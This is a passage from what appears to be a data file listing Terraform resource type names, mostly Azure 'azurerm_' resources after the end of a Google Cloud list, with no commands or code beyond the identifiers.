"google_secure_source_manager_repository_iam_policy", "google_securityposture_posture", "google_securityposture_posture_deployment", "google_service_networking_vpc_service_controls", "google_site_verification_owner", "google_site_verification_web_resource", "google_spanner_backup_schedule", "google_spanner_instance_config", "google_storage_folder", "google_storage_managed_folder", "google_storage_managed_folder_iam_binding", "google_storage_managed_folder_iam_member", "google_storage_managed_folder_iam_policy", "google_transcoder_job", "google_transcoder_job_template", "google_vertex_ai_deployment_resource_pool", "google_vertex_ai_index_endpoint_deployed_index" ], "azure": [ "azurerm_api_management", "azurerm_api_management_api", "azurerm_api_management_api_operation", "azurerm_api_management_api_operation_policy", "azurerm_api_management_api_policy", "azurerm_api_management_api_schema", "azurerm_api_management_api_version_set", "azurerm_api_management_authorization_server", "azurerm_api_management_backend", "azurerm_api_management_certificate", "azurerm_api_management_diagnostic", "azurerm_api_management_group", "azurerm_api_management_group_user", "azurerm_api_management_identity_provider_aad", "azurerm_api_management_identity_provider_facebook", "azurerm_api_management_identity_provider_google", "azurerm_api_management_identity_provider_microsoft", "azurerm_api_management_identity_provider_twitter", "azurerm_api_management_logger", "azurerm_api_management_named_value", "azurerm_api_management_openid_connect_provider", "azurerm_api_management_product", "azurerm_api_management_product_api", "azurerm_api_management_product_group", "azurerm_api_management_product_policy", "azurerm_api_management_property", "azurerm_api_management_subscription", "azurerm_api_management_user", "azurerm_analysis_services_server", "azurerm_app_configuration", "azurerm_app_service", "azurerm_app_service_active_slot", "azurerm_app_service_certificate", "azurerm_app_service_certificate_order", "azurerm_app_service_custom_hostname_binding", "azurerm_app_service_environment", "azurerm_app_service_hybrid_connection", "azurerm_app_service_plan", "azurerm_app_service_slot", "azurerm_app_service_slot_virtual_network_swift_connection", "azurerm_app_service_source_control_token", "azurerm_app_service_virtual_network_swift_connection", "azurerm_function_app", "azurerm_function_app_slot", "azurerm_application_insights", "azurerm_application_insights_analytics_item", "azurerm_application_insights_api_key", "azurerm_application_insights_web_test", "azurerm_role_assignment", "azurerm_role_definition", "azurerm_user_assigned_identity", "azurerm_automation_account", "azurerm_automation_certificate", "azurerm_automation_connection", "azurerm_automation_connection_certificate", "azurerm_automation_connection_classic_certificate", "azurerm_automation_connection_service_principal", "azurerm_automation_credential", "azurerm_automation_dsc_configuration", "azurerm_automation_dsc_nodeconfiguration", "azurerm_automation_job_schedule", "azurerm_automation_module", "azurerm_automation_runbook", "azurerm_automation_schedule", "azurerm_automation_variable_bool", "azurerm_automation_variable_datetime", "azurerm_automation_variable_int", "azurerm_automation_variable_string", "azurerm_resource_group", "azurerm_batch_account", "azurerm_batch_application", "azurerm_batch_certificate", "azurerm_batch_pool", "azurerm_blueprint_assignment", "azurerm_bot_channel_directline", "azurerm_bot_channel_email", "azurerm_bot_channel_ms_teams", "azurerm_bot_channel_slack", "azurerm_bot_channels_registration", "azurerm_bot_connection", "azurerm_bot_web_app", "azurerm_cdn_endpoint", "azurerm_cdn_profile", "azurerm_cognitive_account", "azurerm_availability_set", "azurerm_dedicated_host", "azurerm_dedicated_host_group", "azurerm_disk_encryption_set", "azurerm_image", "azurerm_linux_virtual_machine", "azurerm_linux_virtual_machine_scale_set", "azurerm_managed_disk", "azurerm_marketplace_agreement", "azurerm_orchestrated_virtual_machine_scale_set", "azurerm_proximity_placement_group", "azurerm_shared_image", "azurerm_shared_image_gallery", "azurerm_shared_image_version", "azurerm_snapshot", "azurerm_virtual_machine", "azurerm_virtual_machine_data_disk_attachment", "azurerm_virtual_machine_extension", "azurerm_virtual_machine_scale_set", "azurerm_virtual_machine_scale_set_extension", "azurerm_windows_virtual_machine", "azurerm_windows_virtual_machine_scale_set", "azurerm_container_group", "azurerm_container_registry", "azurerm_container_registry_webhook", "azurerm_kubernetes_cluster", "azurerm_kubernetes_cluster_node_pool", "azurerm_cosmosdb_account", "azurerm_cosmosdb_cassandra_keyspace", "azurerm_cosmosdb_gremlin_database", "azurerm_cosmosdb_gremlin_graph", "azurerm_cosmosdb_mongo_collection", "azurerm_cosmosdb_mongo_database", "azurerm_cosmosdb_sql_container", "azurerm_cosmosdb_sql_database", "azurerm_cosmosdb_table", "azurerm_cost_management_export_resource_group", "azurerm_custom_provider", "azurerm_dns_a_record", "azurerm_dns_aaaa_record", "azurerm_dns_caa_record", "azurerm_dns_cname_record", "azurerm_dns_mx_record", "azurerm_dns_ns_record", "azurerm_dns_ptr_record", "azurerm_dns_srv_record", "azurerm_dns_txt_record", "azurerm_dns_zone", "azurerm_kusto_attached_database_configuration", "azurerm_kusto_cluster", "azurerm_kusto_cluster_customer_managed_key", "azurerm_kusto_cluster_principal_assignment", "azurerm_kusto_database", "azurerm_kusto_database_principal", "azurerm_kusto_database_principal_assignment", "azurerm_kusto_eventhub_data_connection", "azurerm_data_factory", "azurerm_data_factory_dataset_azure_blob", "azurerm_data_factory_dataset_cosmosdb_sqlapi", "azurerm_data_factory_dataset_delimited_text", "azurerm_data_factory_dataset_http", "azurerm_data_factory_dataset_json", "azurerm_data_factory_dataset_mysql", "azurerm_data_factory_dataset_postgresql", "azurerm_data_factory_dataset_sql_server_table", "azurerm_data_factory_integration_runtime_managed", "azurerm_data_factory_integration_runtime_self_hosted", "azurerm_data_factory_linked_service_azure_blob_storage", "azurerm_data_factory_linked_service_azure_file_storage", "azurerm_data_factory_linked_service_azure_function", "azurerm_data_factory_linked_service_cosmosdb", "azurerm_data_factory_linked_service_data_lake_storage_gen2", "azurerm_data_factory_linked_service_key_vault", "azurerm_data_factory_linked_service_mysql", "azurerm_data_factory_linked_service_postgresql", "azurerm_data_factory_linked_service_sftp", "azurerm_data_factory_linked_service_sql_server", "azurerm_data_factory_linked_service_web", "azurerm_data_factory_pipeline", "azurerm_data_factory_trigger_schedule", "azurerm_data_lake_analytics_account", "azurerm_data_lake_analytics_firewall_rule", "azurerm_data_lake_store", "azurerm_data_lake_store_file", "azurerm_data_lake_store_firewall_rule", "azurerm_data_share", "azurerm_data_share_account", "azurerm_data_share_dataset_blob_storage", "azurerm_data_share_dataset_data_lake_gen1", "azurerm_mariadb_configuration", "azurerm_mariadb_database", "azurerm_mariadb_firewall_rule", "azurerm_mariadb_server", "azurerm_mariadb_virtual_network_rule", "azurerm_mssql_database", "azurerm_mssql_database_vulnerability_assessment_rule_baseline", "azurerm_mssql_elasticpool", "azurerm_mssql_server", "azurerm_mssql_server_security_alert_policy", "azurerm_mssql_server_vulnerability_assessment", "azurerm_mssql_virtual_machine", "azurerm_mysql_active_directory_administrator", "azurerm_mysql_configuration", "azurerm_mysql_database", "azurerm_mysql_firewall_rule", "azurerm_mysql_server", "azurerm_mysql_virtual_network_rule", "azurerm_postgresql_active_directory_administrator", "azurerm_postgresql_configuration", "azurerm_postgresql_database", "azurerm_postgresql_firewall_rule", "azurerm_postgresql_server", "azurerm_postgresql_virtual_network_rule", "azurerm_sql_active_directory_administrator", "azurerm_sql_database", "azurerm_sql_elasticpool", "azurerm_sql_failover_group", "azurerm_sql_firewall_rule", "azurerm_sql_server", "azurerm_sql_virtual_network_rule", "azurerm_database_migration_project", "azurerm_database_migration_service", "azurerm_databricks_workspace", "azurerm_dev_test_global_vm_shutdown_schedule", "azurerm_dev_test_lab", "azurerm_dev_test_linux_virtual_machine", "azurerm_dev_test_policy", "azurerm_dev_test_schedule", "azurerm_dev_test_virtual_network", "azurerm_dev_test_windows_virtual_machine", "azurerm_devspace_controller", "azurerm_hdinsight_hadoop_cluster", "azurerm_hdinsight_hbase_cluster", "azurerm_hdinsight_interactive_query_cluster", "azurerm_hdinsight_kafka_cluster", "azurerm_hdinsight_ml_services_cluster", "azurerm_hdinsight_rserver_cluster", "azurerm_hdinsight_spark_cluster", "azurerm_hdinsight_storm_cluster", "azurerm_dedicated_hardware_security_module", "azurerm_healthcare_service", "azurerm_iotcentral_application", "azurerm_iothub", "azurerm_iothub_consumer_group", "azurerm_iothub_dps", "azurerm_iothub_dps_certificate", "azurerm_iothub_dps_shared_access_policy", "azurerm_iothub_shared_access_policy", "azurerm_key_vault", "azurerm_key_vault_access_policy", "azurerm_key_vault_certificate", "azurerm_key_vault_certificate_issuer", "azurerm_key_vault_key", "azurerm_key_vault_secret", "azurerm_lb", "azurerm_lb_backend_address_pool", "azurerm_lb_nat_pool", "azurerm_lb_nat_rule", "azurerm_lb_outbound_rule", "azurerm_lb_probe", "azurerm_lb_rule", "azurerm_log_analytics_datasource_windows_event", "azurerm_log_analytics_datasource_windows_performance_counter", "azurerm_log_analytics_linked_service", "azurerm_log_analytics_solution", "azurerm_log_analytics_workspace", "azurerm_logic_app_action_custom", "azurerm_logic_app_action_http", "azurerm_logic_app_integration_account", "azurerm_logic_app_trigger_custom", "azurerm_logic_app_trigger_http_request", "azurerm_logic_app_trigger_recurrence", "azurerm_logic_app_workflow", "azurerm_machine_learning_workspace", "azurerm_maintenance_assignment_dedicated_host", "azurerm_maintenance_assignment_virtual_machine", "azurerm_maintenance_configuration", "azurerm_managed_application", "azurerm_managed_application_definition", "azurerm_management_group", "azurerm_management_lock", "azurerm_maps_account", "azurerm_media_services_account", "azurerm_eventgrid_domain", "azurerm_eventgrid_domain_topic", "azurerm_eventgrid_event_subscription", "azurerm_eventgrid_topic", "azurerm_eventhub", "azurerm_eventhub_authorization_rule", "azurerm_eventhub_cluster", "azurerm_eventhub_consumer_group", "azurerm_eventhub_namespace", "azurerm_eventhub_namespace_authorization_rule", "azurerm_eventhub_namespace_disaster_recovery_config", "azurerm_iothub_endpoint_eventhub", "azurerm_iothub_endpoint_servicebus_queue", "azurerm_iothub_endpoint_servicebus_topic", "azurerm_iothub_endpoint_storage_container", "azurerm_iothub_fallback_route", "azurerm_iothub_route", "azurerm_notification_hub", "azurerm_notification_hub_authorization_rule", "azurerm_notification_hub_namespace", "azurerm_relay_hybrid_connection", "azurerm_relay_namespace", "azurerm_servicebus_namespace", "azurerm_servicebus_namespace_authorization_rule", "azurerm_servicebus_namespace_network_rule_set", "azurerm_servicebus_queue", "azurerm_servicebus_queue_authorization_rule", "azurerm_servicebus_subscription", "azurerm_servicebus_subscription_rule", "azurerm_servicebus_topic", "azurerm_servicebus_topic_authorization_rule", "azurerm_signalr_service", "azurerm_spatial_anchors_account", "azurerm_monitor_action_group", "azurerm_monitor_action_rule_action_group", "azurerm_monitor_action_rule_suppression", "azurerm_monitor_activity_log_alert", "azurerm_monitor_autoscale_setting", "azurerm_monitor_diagnostic_setting", "azurerm_monitor_log_profile", "azurerm_monitor_metric_alert", "azurerm_monitor_scheduled_query_rules_alert", "azurerm_monitor_scheduled_query_rules_log", "azurerm_netapp_account", "azurerm_netapp_pool", "azurerm_netapp_snapshot", "azurerm_netapp_volume", "azurerm_application_gateway", "azurerm_application_security_group", "azurerm_bastion_host", "azurerm_express_route_circuit", "azurerm_express_route_circuit_authorization", "azurerm_express_route_circuit_peering", "azurerm_express_route_gateway", "azurerm_firewall", "azurerm_firewall_application_rule_collection", "azurerm_firewall_nat_rule_collection", "azurerm_firewall_network_rule_collection", "azurerm_frontdoor", "azurerm_frontdoor_custom_https_configuration", "azurerm_frontdoor_firewall_policy", "azurerm_local_network_gateway", "azurerm_nat_gateway", "azurerm_nat_gateway_public_ip_association", "azurerm_network_ddos_protection_plan", "azurerm_network_interface", "azurerm_network_interface_application_gateway_backend_address_pool_association", "azurerm_network_interface_application_security_group_association", "azurerm_network_interface_backend_address_pool_association", "azurerm_network_interface_nat_rule_association", "azurerm_network_interface_security_group_association", "azurerm_network_packet_capture", "azurerm_network_profile", "azurerm_network_security_group", "azurerm_network_security_rule", "azurerm_network_watcher", "azurerm_network_watcher_flow_log", "azurerm_packet_capture", "azurerm_point_to_site_vpn_gateway", "azurerm_private_endpoint", "azurerm_private_link_service", "azurerm_public_ip", "azurerm_public_ip_prefix", "azurerm_route", "azurerm_route_filter", "azurerm_route_table", "azurerm_subnet", "azurerm_subnet_nat_gateway_association", "azurerm_subnet_network_security_group_association", "azurerm_subnet_route_table_association", "azurerm_traffic_manager_endpoint", "azurerm_traffic_manager_profile", "azurerm_virtual_hub", "azurerm_virtual_hub_connection", "azurerm_virtual_network", "azurerm_virtual_network_gateway", "azurerm_virtual_network_gateway_connection", "azurerm_virtual_network_peering", "azurerm_virtual_wan", "azurerm_vpn_gateway", "azurerm_vpn_server_configuration", "azurerm_web_application_firewall_policy", "azurerm_policy_assignment", "azurerm_policy_definition", "azurerm_policy_remediation", "azurerm_policy_set_definition", "azurerm_dashboard", "azurerm_powerbi_embedded", "azurerm_private_dns_a_record", "azurerm_private_dns_aaaa_record", "azurerm_private_dns_cname_record", "azurerm_private_dns_mx_record", "azurerm_private_dns_ptr_record", "azurerm_private_dns_srv_record", "azurerm_private_dns_txt_record", "azurerm_private_dns_zone", "azurerm_private_dns_zone_virtual_network_link", "azurerm_backup_container_storage_account", "azurerm_backup_policy_file_share", "azurerm_backup_policy_vm", "azurerm_backup_protected_file_share", "azurerm_backup_protected_vm", "azurerm_recovery_services_vault", "azurerm_site_recovery_fabric", "azurerm_site_recovery_network_mapping", "azurerm_site_recovery_protection_container", "azurerm_site_recovery_protection_container_mapping", "azurerm_site_recovery_replicated_vm", "azurerm_site_recovery_replication_policy", "azurerm_redis_cache", "azurerm_redis_firewall_rule", "azurerm_search_service", "azurerm_advanced_threat_protection", "azurerm_security_center_contact", "azurerm_security_center_subscription_pricing", "azurerm_security_center_workspace", "azurerm_sentinel_alert_rule_ms_security_incident", "azurerm_sentinel_alert_rule_scheduled", "azurerm_service_fabric_cluster", "azurerm_spring_cloud_app", "azurerm_spring_cloud_service", "azurerm_hpc_cache", "azurerm_hpc_cache_blob_target", "azurerm_hpc_cache_nfs_target", "azurerm_storage_account", "azurerm_storage_account_customer_managed_key", "azurerm_storage_account_network_rules", "azurerm_storage_blob", "azurerm_storage_container", "azurerm_storage_data_lake_gen2_filesystem", "azurerm_storage_management_policy", "azurerm_storage_queue", "azurerm_storage_share", "azurerm_storage_share_directory", "azurerm_storage_table", "azurerm_storage_table_entity", "azurerm_stream_analytics_function_javascript_udf", "azurerm_stream_analytics_job", "azurerm_stream_analytics_output_blob", "azurerm_stream_analytics_output_eventhub", "azurerm_stream_analytics_output_mssql", "azurerm_stream_analytics_output_servicebus_queue", "azurerm_stream_analytics_output_servicebus_topic", "azurerm_stream_analytics_reference_input_blob", "azurerm_stream_analytics_stream_input_blob", "azurerm_stream_analytics_stream_input_eventhub", "azurerm_stream_analytics_stream_input_iothub", "azurerm_synapse_workspace", "azurerm_template_deployment", "azurerm_iot_time_series_insights_access_policy", "azurerm_iot_time_series_insights_reference_data_set", "azurerm_iot_time_series_insights_standard_environment", "azurerm_api_management_api_diagnostic", "azurerm_api_management_custom_domain", "azurerm_api_management_identity_provider_aadb2c", "azurerm_api_management_policy", "azurerm_app_service_certificate_binding", "azurerm_app_service_managed_certificate", "azurerm_application_insights_smart_detection_rule", "azurerm_attestation_provider", "azurerm_cosmosdb_cassandra_table", "azurerm_cosmosdb_sql_stored_procedure", "azurerm_data_factory_integration_runtime_azure", "azurerm_data_factory_integration_runtime_azure_ssis", "azurerm_data_factory_linked_service_azure_sql_database", "azurerm_data_factory_linked_service_azure_table_storage", "azurerm_data_factory_linked_service_snowflake", "azurerm_data_factory_linked_service_synapse", "azurerm_data_share_dataset_data_lake_gen2", "azurerm_data_share_dataset_kusto_cluster", "azurerm_data_share_dataset_kusto_database", "azurerm_digital_twins_endpoint_eventgrid", "azurerm_digital_twins_endpoint_eventhub", "azurerm_digital_twins_endpoint_servicebus", "azurerm_digital_twins_instance", "azurerm_disk_access", "azurerm_eventgrid_system_topic", "azurerm_eventgrid_system_topic_event_subscription", "azurerm_firewall_policy", "azurerm_firewall_policy_rule_collection_group", "azurerm_integration_service_environment", "azurerm_iot_security_device_group", "azurerm_iot_security_solution", "azurerm_iot_time_series_insights_gen2_environment", "azurerm_iothub_enrichment", "azurerm_ip_group", "azurerm_lb_backend_address_pool_address", "azurerm_lighthouse_assignment", "azurerm_lighthouse_definition", "azurerm_log_analytics_cluster", "azurerm_log_analytics_cluster_customer_managed_key", "azurerm_log_analytics_data_export_rule", "azurerm_log_analytics_linked_storage_account", "azurerm_log_analytics_saved_search", "azurerm_log_analytics_storage_insights", "azurerm_media_asset", "azurerm_media_content_key_policy", "azurerm_media_job", "azurerm_media_streaming_endpoint", "azurerm_media_streaming_locator", "azurerm_media_streaming_policy", "azurerm_media_transform", "azurerm_monitor_smart_detector_alert_rule", "azurerm_mssql_database_extended_auditing_policy", "azurerm_mssql_server_extended_auditing_policy", "azurerm_mysql_server_key", "azurerm_network_connection_monitor", "azurerm_postgresql_server_key", "azurerm_redis_linked_server", "azurerm_resource_group_template_deployment", "azurerm_resource_provider_registration", "azurerm_security_center_auto_provisioning", "azurerm_security_center_automation", "azurerm_security_center_setting", "azurerm_sentinel_alert_rule_fusion", "azurerm_service_fabric_mesh_application", "azurerm_service_fabric_mesh_local_network", "azurerm_service_fabric_mesh_secret", "azurerm_service_fabric_mesh_secret_value", "azurerm_spring_cloud_active_deployment", "azurerm_spring_cloud_certificate", "azurerm_spring_cloud_java_deployment", "azurerm_ssh_public_key", "azurerm_stack_hci_cluster", "azurerm_storage_data_lake_gen2_path", "azurerm_storage_encryption_scope", "azurerm_storage_share_file", "azurerm_storage_sync", "azurerm_storage_sync_cloud_endpoint", "azurerm_storage_sync_group", "azurerm_subnet_service_endpoint_storage_policy", "azurerm_subscription_template_deployment", "azurerm_synapse_firewall_rule", "azurerm_synapse_managed_private_endpoint", "azurerm_synapse_role_assignment", "azurerm_synapse_spark_pool", "azurerm_synapse_sql_pool", "azurerm_virtual_desktop_application_group", "azurerm_virtual_desktop_host_pool", "azurerm_virtual_desktop_workspace", "azurerm_virtual_desktop_workspace_application_group_association", "azurerm_virtual_hub_bgp_connection", "azurerm_virtual_hub_ip", "azurerm_virtual_hub_route_table", "azurerm_virtual_hub_security_partner_provider", "azurerm_vpn_gateway_connection", "azurerm_vpn_site", "azurerm_api_management_email_template", "azurerm_communication_service", "azurerm_data_factory_dataset_parquet", "azurerm_data_factory_linked_service_azure_databricks", "azurerm_data_lake_store_virtual_network_rule", "azurerm_databox_edge_device", "azurerm_databox_edge_order", "azurerm_express_route_port", "azurerm_hpc_cache_access_policy", "azurerm_kusto_eventgrid_data_connection", "azurerm_kusto_iothub_data_connection", "azurerm_management_group_subscription_association", "azurerm_management_group_template_deployment", "azurerm_media_live_event", "azurerm_media_live_event_output", "azurerm_mssql_firewall_rule", "azurerm_mssql_virtual_network_rule", "azurerm_purview_account", "azurerm_redis_enterprise_cluster", "azurerm_redis_enterprise_database", "azurerm_security_center_assessment", "azurerm_security_center_assessment_metadata", "azurerm_security_center_assessment_policy", "azurerm_security_center_server_vulnerability_assessment", "azurerm_sentinel_data_connector_aws_cloud_trail", "azurerm_sentinel_data_connector_azure_active_directory", "azurerm_sentinel_data_connector_azure_advanced_threat_protection", "azurerm_sentinel_data_connector_azure_security_center", "azurerm_sentinel_data_connector_microsoft_cloud_app_security", "azurerm_sentinel_data_connector_office_365", "azurerm_sentinel_data_connector_threat_intelligence", "azurerm_spring_cloud_app_mysql_association", "azurerm_spring_cloud_app_redis_association", "azurerm_spring_cloud_custom_domain", "azurerm_subscription", "azurerm_tenant_template_deployment", "azurerm_vmware_private_cloud", "azurerm_aadb2c_directory", "azurerm_active_directory_domain_service", "azurerm_active_directory_domain_service_replica_set", "azurerm_api_management_api_operation_tag", "azurerm_api_management_api_release", "azurerm_api_management_gateway", "azurerm_api_management_gateway_api", "azurerm_api_management_notification_recipient_email", "azurerm_api_management_notification_recipient_user", "azurerm_api_management_redis_cache", "azurerm_api_management_tag", "azurerm_app_configuration_feature", "azurerm_app_configuration_key", "azurerm_app_service_environment_v3", "azurerm_app_service_public_certificate", "azurerm_app_service_slot_custom_hostname_binding", "azurerm_automation_webhook", "azurerm_batch_job", "azurerm_bot_channel_alexa", "azurerm_bot_channel_direct_line_speech", "azurerm_bot_channel_facebook", "azurerm_bot_channel_line", "azurerm_bot_channel_sms", "azurerm_bot_channel_web_chat", "azurerm_bot_service_azure_bot", "azurerm_cdn_endpoint_custom_domain", "azurerm_cognitive_account_customer_managed_key", "azurerm_consumption_budget_management_group", "azurerm_consumption_budget_resource_group", "azurerm_consumption_budget_subscription", "azurerm_container_registry_scope_map", "azurerm_container_registry_task", "azurerm_container_registry_token", "azurerm_cosmosdb_cassandra_cluster", "azurerm_cosmosdb_cassandra_datacenter", "azurerm_cosmosdb_notebook_workspace", "azurerm_cosmosdb_sql_function", "azurerm_cosmosdb_sql_trigger", "azurerm_data_factory_custom_dataset", "azurerm_data_factory_data_flow", "azurerm_data_factory_dataset_binary", "azurerm_data_factory_dataset_snowflake", "azurerm_data_factory_linked_custom_service", "azurerm_data_factory_linked_service_azure_search", "azurerm_data_factory_linked_service_cosmosdb_mongoapi", "azurerm_data_factory_linked_service_kusto", "azurerm_data_factory_linked_service_odata", "azurerm_data_factory_linked_service_odbc", "azurerm_data_factory_managed_private_endpoint", "azurerm_data_factory_trigger_blob_event", "azurerm_data_factory_trigger_custom_event", "azurerm_data_factory_trigger_tumbling_window", "azurerm_data_protection_backup_instance_blob_storage", "azurerm_data_protection_backup_instance_disk", "azurerm_data_protection_backup_instance_postgresql", "azurerm_data_protection_backup_policy_blob_storage", "azurerm_data_protection_backup_policy_disk", "azurerm_data_protection_backup_policy_postgresql", "azurerm_data_protection_backup_vault", "azurerm_databricks_workspace_customer_managed_key", "azurerm_disk_pool", "azurerm_eventhub_namespace_customer_managed_key", "azurerm_express_route_circuit_connection", "azurerm_express_route_connection", "azurerm_frontdoor_rules_engine", "azurerm_healthbot", "azurerm_hpc_cache_blob_nfs_target", "azurerm_iot_time_series_insights_event_source_eventhub", "azurerm_iot_time_series_insights_event_source_iothub", "azurerm_key_vault_managed_hardware_security_module", "azurerm_key_vault_managed_storage_account", "azurerm_key_vault_managed_storage_account_sas_token_definition", "azurerm_kusto_script", "azurerm_load_test", "azurerm_logic_app_integration_account_agreement", "azurerm_logic_app_integration_account_assembly", "azurerm_logic_app_integration_account_batch_configuration", "azurerm_logic_app_integration_account_certificate", "azurerm_logic_app_integration_account_map", "azurerm_logic_app_integration_account_partner", "azurerm_logic_app_integration_account_schema", "azurerm_logic_app_integration_account_session", "azurerm_logic_app_standard", "azurerm_logz_monitor", "azurerm_logz_tag_rule", "azurerm_machine_learning_compute_cluster", "azurerm_machine_learning_compute_instance", "azurerm_machine_learning_inference_cluster", "azurerm_machine_learning_synapse_spark", "azurerm_maintenance_assignment_virtual_machine_scale_set", "azurerm_management_group_policy_assignment", "azurerm_maps_creator", "azurerm_media_asset_filter", "azurerm_monitor_aad_diagnostic_setting", "azurerm_monitor_private_link_scope", "azurerm_monitor_private_link_scoped_service", "azurerm_mssql_failover_group", "azurerm_mssql_job_agent", "azurerm_mssql_job_credential", "azurerm_mssql_server_transparent_data_encryption", "azurerm_mysql_flexible_database", "azurerm_mysql_flexible_server", "azurerm_mysql_flexible_server_configuration", "azurerm_mysql_flexible_server_firewall_rule", "azurerm_nat_gateway_public_ip_prefix_association", "azurerm_netapp_snapshot_policy", "azurerm_policy_virtual_machine_configuration_assignment", "azurerm_portal_tenant_configuration", "azurerm_postgresql_flexible_server", "azurerm_postgresql_flexible_server_configuration", "azurerm_postgresql_flexible_server_database", "azurerm_postgresql_flexible_server_firewall_rule", "azurerm_relay_hybrid_connection_authorization_rule", "azurerm_relay_namespace_authorization_rule", "azurerm_resource_group_cost_management_export", "azurerm_resource_group_policy_assignment", "azurerm_resource_policy_assignment", "azurerm_sentinel_alert_rule_machine_learning_behavior_analytics", "azurerm_sentinel_automation_rule", "azurerm_sentinel_data_connector_microsoft_defender_advanced_threat_protection", "azurerm_sentinel_watchlist", "azurerm_service_fabric_managed_cluster", "azurerm_servicebus_namespace_disaster_recovery_config", "azurerm_signalr_service_network_acl", "azurerm_spring_cloud_app_cosmosdb_association", "azurerm_sql_managed_database", "azurerm_sql_managed_instance", "azurerm_sql_managed_instance_active_directory_administrator", "azurerm_sql_managed_instance_failover_group", "azurerm_static_site", "azurerm_static_site_custom_domain", "azurerm_storage_blob_inventory_policy", "azurerm_storage_disks_pool", "azurerm_storage_object_replication", "azurerm_stream_analytics_cluster", "azurerm_stream_analytics_managed_private_endpoint", "azurerm_stream_analytics_output_synapse", "azurerm_stream_analytics_output_table", "azurerm_stream_analytics_reference_input_mssql", "azurerm_subscription_cost_management_export", "azurerm_subscription_policy_assignment", "azurerm_synapse_integration_runtime_azure", "azurerm_synapse_integration_runtime_self_hosted", "azurerm_synapse_linked_service", "azurerm_synapse_private_link_hub", "azurerm_synapse_sql_pool_extended_auditing_policy", "azurerm_synapse_sql_pool_security_alert_policy", "azurerm_synapse_sql_pool_vulnerability_assessment", "azurerm_synapse_sql_pool_vulnerability_assessment_baseline", "azurerm_synapse_sql_pool_workload_classifier", "azurerm_synapse_sql_pool_workload_group", "azurerm_synapse_workspace_aad_admin", "azurerm_synapse_workspace_extended_auditing_policy", "azurerm_synapse_workspace_key", "azurerm_synapse_workspace_security_alert_policy", "azurerm_synapse_workspace_sql_aad_admin", "azurerm_synapse_workspace_vulnerability_assessment", "azurerm_video_analyzer", "azurerm_video_analyzer_edge_module", "azurerm_virtual_desktop_application", "azurerm_virtual_desktop_scaling_plan", "azurerm_virtual_hub_route_table_route", "azurerm_virtual_machine_configuration_policy_assignment", "azurerm_virtual_network_dns_servers", "azurerm_vmware_cluster", "azurerm_vmware_express_route_authorization", "azurerm_vpn_gateway_nat_rule", "azurerm_active_directory_domain_service_trust", "azurerm_api_connection", "azurerm_api_management_api_tag", "azurerm_app_service_source_control", "azurerm_app_service_source_control_slot", "azurerm_application_insights_workbook", "azurerm_application_insights_workbook_template", "azurerm_capacity_reservation", "azurerm_capacity_reservation_group", "azurerm_cdn_frontdoor_endpoint", "azurerm_cdn_frontdoor_origin", "azurerm_cdn_frontdoor_origin_group", "azurerm_cdn_frontdoor_profile", "azurerm_cdn_frontdoor_rule_set", "azurerm_confidential_ledger", "azurerm_container_connected_registry", "azurerm_container_registry_agent_pool", "azurerm_cosmosdb_sql_role_assignment", "azurerm_cosmosdb_sql_role_definition", "azurerm_data_protection_resource_guard", "azurerm_disk_pool_iscsi_target", "azurerm_disk_pool_iscsi_target_lun", "azurerm_disk_pool_managed_disk_attachment", "azurerm_elastic_cloud_elasticsearch", "azurerm_fluid_relay_server", "azurerm_function_app_active_slot", "azurerm_function_app_function", "azurerm_function_app_hybrid_connection", "azurerm_gallery_application", "azurerm_gallery_application_version", "azurerm_healthcare_dicom_service", "azurerm_healthcare_fhir_service", "azurerm_healthcare_workspace", "azurerm_iothub_certificate", "azurerm_linux_function_app", "azurerm_linux_function_app_slot", "azurerm_linux_web_app", "azurerm_linux_web_app_slot", "azurerm_logz_sub_account", "azurerm_managed_disk_sas_token", "azurerm_management_group_policy_exemption", "azurerm_management_group_policy_remediation", "azurerm_monitor_data_collection_rule", "azurerm_mssql_managed_database", "azurerm_mssql_managed_instance", "azurerm_mssql_managed_instance_active_directory_administrator", "azurerm_mssql_managed_instance_failover_group", "azurerm_mssql_managed_instance_vulnerability_assessment", "azurerm_mssql_outbound_firewall_rule", "azurerm_mssql_server_dns_alias", "azurerm_portal_dashboard", "azurerm_resource_group_policy_exemption", "azurerm_resource_group_policy_remediation", "azurerm_resource_policy_exemption", "azurerm_resource_policy_remediation", "azurerm_route_server", "azurerm_route_server_bgp_connection", "azurerm_security_center_server_vulnerability_assessment_virtual_machine", "azurerm_sentinel_data_connector_aws_s3", "azurerm_sentinel_watchlist_item", "azurerm_service_plan", "azurerm_source_control_token", "azurerm_spring_cloud_api_portal", "azurerm_spring_cloud_api_portal_custom_domain", "azurerm_spring_cloud_build_deployment", "azurerm_spring_cloud_build_pack_binding", "azurerm_spring_cloud_builder", "azurerm_spring_cloud_configuration_service", "azurerm_spring_cloud_container_deployment", "azurerm_spring_cloud_gateway", "azurerm_spring_cloud_gateway_custom_domain", "azurerm_spring_cloud_gateway_route_config", "azurerm_spring_cloud_storage", "azurerm_stream_analytics_function_javascript_uda", "azurerm_stream_analytics_job_schedule", "azurerm_stream_analytics_output_cosmosdb", "azurerm_stream_analytics_output_function", "azurerm_stream_analytics_output_powerbi", "azurerm_subscription_policy_exemption", "azurerm_subscription_policy_remediation", "azurerm_traffic_manager_azure_endpoint", "azurerm_traffic_manager_external_endpoint", "azurerm_traffic_manager_nested_endpoint", "azurerm_virtual_desktop_host_pool_registration_info", "azurerm_virtual_network_gateway_nat_rule", "azurerm_vpn_server_configuration_policy_group", "azurerm_web_app_active_slot", "azurerm_web_app_hybrid_connection", "azurerm_web_pubsub", "azurerm_web_pubsub_hub", "azurerm_web_pubsub_network_acl", "azurerm_web_pubsub_shared_private_link_resource", "azurerm_windows_function_app", "azurerm_windows_function_app_slot", "azurerm_windows_web_app", "azurerm_windows_web_app_slot", "azurerm_api_management_api_tag_description", "azurerm_api_management_gateway_certificate_authority", "azurerm_api_management_gateway_host_name_configuration", "azurerm_api_management_global_schema", "azurerm_api_management_product_tag", "azurerm_app_service_connection", "azurerm_automation_connection_type", "azurerm_automation_hybrid_runbook_worker", "azurerm_automation_hybrid_runbook_worker_group", "azurerm_automation_software_update_configuration", "azurerm_automation_source_control", "azurerm_automation_watcher", "azurerm_backup_policy_vm_workload", "azurerm_billing_account_cost_management_export", "azurerm_cdn_frontdoor_custom_domain", "azurerm_cdn_frontdoor_custom_domain_association", "azurerm_cdn_frontdoor_firewall_policy", "azurerm_cdn_frontdoor_route", "azurerm_cdn_frontdoor_route_disable_link_to_default_domain", "azurerm_cdn_frontdoor_rule", "azurerm_cdn_frontdoor_secret", "azurerm_cdn_frontdoor_security_policy", "azurerm_cognitive_deployment", 